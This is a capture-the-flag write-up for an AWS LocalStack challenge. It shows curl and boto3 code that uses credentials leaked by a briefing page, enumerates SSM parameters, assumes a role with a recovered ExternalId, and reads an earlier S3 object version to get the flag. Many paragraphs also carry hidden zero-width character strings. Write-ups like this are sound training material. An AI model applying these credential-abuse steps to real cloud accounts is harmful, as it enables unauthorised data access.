← Back to Writeups
CUSTOMMediumMisc

False Ferry

XESXOR9/2/20264 min read
#misc#custom#medium#client_side_credential_leak#ssm_parameter_enumeration#iam_assume_role_external_id#s3_object_versioning#trusted_version_recovery#linux

False Ferry

Platform: CACTF2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: client_side_credential_leak, ssm_parameter_enumeration, iam_assume_role_external_id, s3_object_versioning, trusted_version_recovery

Summary

Task: AWS LocalStack cloud challenge with leaked client-side credentials, restrictive SSM/IAM, and a tampered S3 object. Solution: enumerate SSM to obtain a trusted manifest VersionId and a scanner role ExternalId, AssumeRole, then use S3 object versioning (ListObjectVersions + GetObjectVersion) to recover the earlier authoritative version holding the flag while GetObject on the tampered latest is denied.

False Ferry — CACTF2026

Description

Lysa Harrowmere reaches the lower city ferry piers while Stormbound soldiers wait for the morning boat. They are supposed to cross the river and guard the east road before Vaultrune's next patrol moves through. The route board says the boat goes to the east road landing, but the crew roster sends it to a dock controlled by Vaultrune. If Lysa warns the soldiers openly, Vaultrune's men can claim she started a fight at the pier. If she confronts the ferry master, his guards can tear down the roster and post the correct one. Lysa has one job: find the earlier crossing list, prove who changed the dock, and get the soldiers onto the right boat before Vaultrune cuts the road.

Targets:

  • 154.57.164.74:30862 (AWS/LocalStack API endpoint)
  • 154.57.164.74:32623 (briefing web page) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An AWS cloud challenge running on LocalStack. The narrative maps directly onto AWS primitives — the "route board" vs "crew roster" is a conflict between an authoritative SSM parameter and a tampered S3 object. The goal ("find the earlier crossing list, prove who changed the dock") is S3 object versioning: recover the earlier, trusted object version referenced by the SSM parameter rather than the tampered latest version.

Analysis

Two ports are exposed:

  • 154.57.164.74:30862 — an AWS API endpoint. curl -sI returns AWS-style headers (x-amz-request-id) and AccessDeniedException / MissingAuthentication, indicating a LocalStack instance fronting internal 127.0.0.1:4566.
  • 154.57.164.74:32623 — an in-world "Courier's Packet" briefing page (Server: PhoenixBriefing/1.0 Python) that instructs the player to catalog the SSM namespace /ferry/crossing/. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observations that shape the solution:

  • The briefing page loads AWS credentials client-side from /player-creds.json — a classic leaked-credential entry point.
  • The clerk identity has intentionally restrictive IAM: it can DescribeParameters and GetParameter on SSM, but cannot read S3 objects directly and cannot use GetParametersByPath or GetParameterHistory.
  • The authoritative SSM parameter pins a specific trusted S3 VersionId and provides a scanner role ARN + ExternalId — a confused-deputy protection pattern. The clerk assumes that role to gain scoped S3 version access.
  • On S3, GetObject (latest) is denied, but ListObjectVersions and GetObjectVersion are allowed — forcing the versioning approach. The latest version is the tampered "false ferry"; the flag lives in the earlier, trusted version. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Recon the two ports

bash
curl -sI http://154.57.164.74:30862      # AWS/LocalStack API (x-amz-request-id, AccessDeniedException)
curl -s  http://154.57.164.74:32623/      # Courier's Packet briefing; points at SSM /ferry/crossing/

Step 2 — Grab the leaked credentials

The briefing page fetches credentials client-side:

bash
curl -s http://154.57.164.74:32623/player-creds.json

Returns a coalition-ferry-clerk access key, secret, region: us-east-1, and an internal endpoint. Use these against the public endpoint http://154.57.164.74:30862 with boto3 and an endpoint_url override. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — Enumerate the SSM namespace

python
#!/usr/bin/env python3
import boto3

ENDPOINT = "http://154.57.164.74:30862"
REGION   = "us-east-1"
KEY      = "<CLERK_ACCESS_KEY_ID>"        # from /player-creds.json
SECRET   = "<CLERK_SECRET_ACCESS_KEY>"    # from /player-creds.json

sess = boto3.session.Session(
    aws_access_key_id=KEY,
    aws_secret_access_key=SECRET,
    region_name=REGION,
)

sts = sess.client("sts", endpoint_url=ENDPOINT)
print(sts.get_caller_identity())
# arn:aws:iam::584729103648:user/coalition-ferry-clerk
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ssm = sess.client("ssm", endpoint_url=ENDPOINT)

# DescribeParameters ALLOWED; GetParametersByPath / GetParameterHistory DENIED
for p in ssm.describe_parameters(MaxResults=50)["Parameters"]:
    print(p["Name"])

# /ferry/crossing/live-crossing-id -> CROSSING-7A3F (the real authorized crossing)
live = ssm.get_parameter(Name="/ferry/crossing/live-crossing-id")["Parameter"]["Value"]
auth = ssm.get_parameter(Name=f"/ferry/crossing/{live}")["Parameter"]["Value"]
print(auth)

The authoritative parameter /ferry/crossing/CROSSING-7A3F returns JSON pinning the trusted S3 object version plus a scanner role and its ExternalId: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
  "crossing_id": "CROSSING-7A3F",
  "status": "AUTHORIZED",
  "manifest_bucket": "ferry-crossing-manifest",
  "manifest_object_key": "manifests/morning-crossing-order.txt",
  "manifest_version_id": "2db0315c-ae95-4cbc-a896-f1ee586bc4f6",
  "scanner_role_arn": "arn:aws:iam::584729103648:role/ferry-crossing-scanner",
  "scanner_external_id": "ferry-crossing-scanner-7a3f",
  "record_type": "crossing_manifest"
}

Other parameters (CROSSING-VOID-*, CROSSING-CLOSED-*, CROSSING-DRAFT-*) are decoys. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4 — AssumeRole with the ExternalId from SSM

The clerk cannot read S3 directly, but can assume the scanner role using the ExternalId sourced from the SSM parameter (confused-deputy protection):

python
creds = sts.assume_role(
    RoleArn="arn:aws:iam::584729103648:role/ferry-crossing-scanner",
    RoleSessionName="lysa",
    ExternalId="ferry-crossing-scanner-7a3f",
)["Credentials"]

s3 = boto3.client(
    "s3",
    endpoint_url=ENDPOINT,
    region_name=REGION,
    aws_access_key_id=creds["AccessKeyId"],
    aws_secret_access_key=creds["SecretAccessKey"],
    aws_session_token=creds["SessionToken"],
)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5 — S3 object versioning: recover the earlier trusted version

With the assumed-role credentials, GetObject (latest) is denied, but ListObjectVersions and GetObjectVersion are allowed:

python
BUCKET = "ferry-crossing-manifest"
KEYOBJ = "manifests/morning-crossing-order.txt"

vers = s3.list_object_versions(Bucket=BUCKET, Prefix=KEYOBJ)["Versions"]
for v in vers:
    print(v["VersionId"], "IsLatest=", v["IsLatest"])

# Read each version explicitly:
for v in vers:
    body = s3.get_object(Bucket=BUCKET, Key=KEYOBJ, VersionId=v["VersionId"])["Body"].read()
    print(v["VersionId"], "\n", body.decode(), "\n---")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Three versions exist:

  • 9d9773be-... (IsLatest=True) — the tampered "false ferry": Batch: CROSSING-VOID-9B11 / Status: RELEASED (points to a VOID batch = Vaultrune's dock).
  • 2cd4c758-... — a draft, AWAITING_CROSSING_SIGNATURE.
  • 2db0315c-... — matches the AUTHORIZED SSM manifest_version_id — the real crossing release record, containing the flag.

Reading the trusted version 2db0315c-ae95-4cbc-a896-f1ee586bc4f6:

CROSSING RELEASE RECORD
Batch: CROSSING-7A3F
Authorized by: Stormbound Coalition Ferry Office
HTB{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag lives in the earlier, authoritative S3 object version referenced by the AUTHORIZED SSM parameter — not the tampered latest version. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍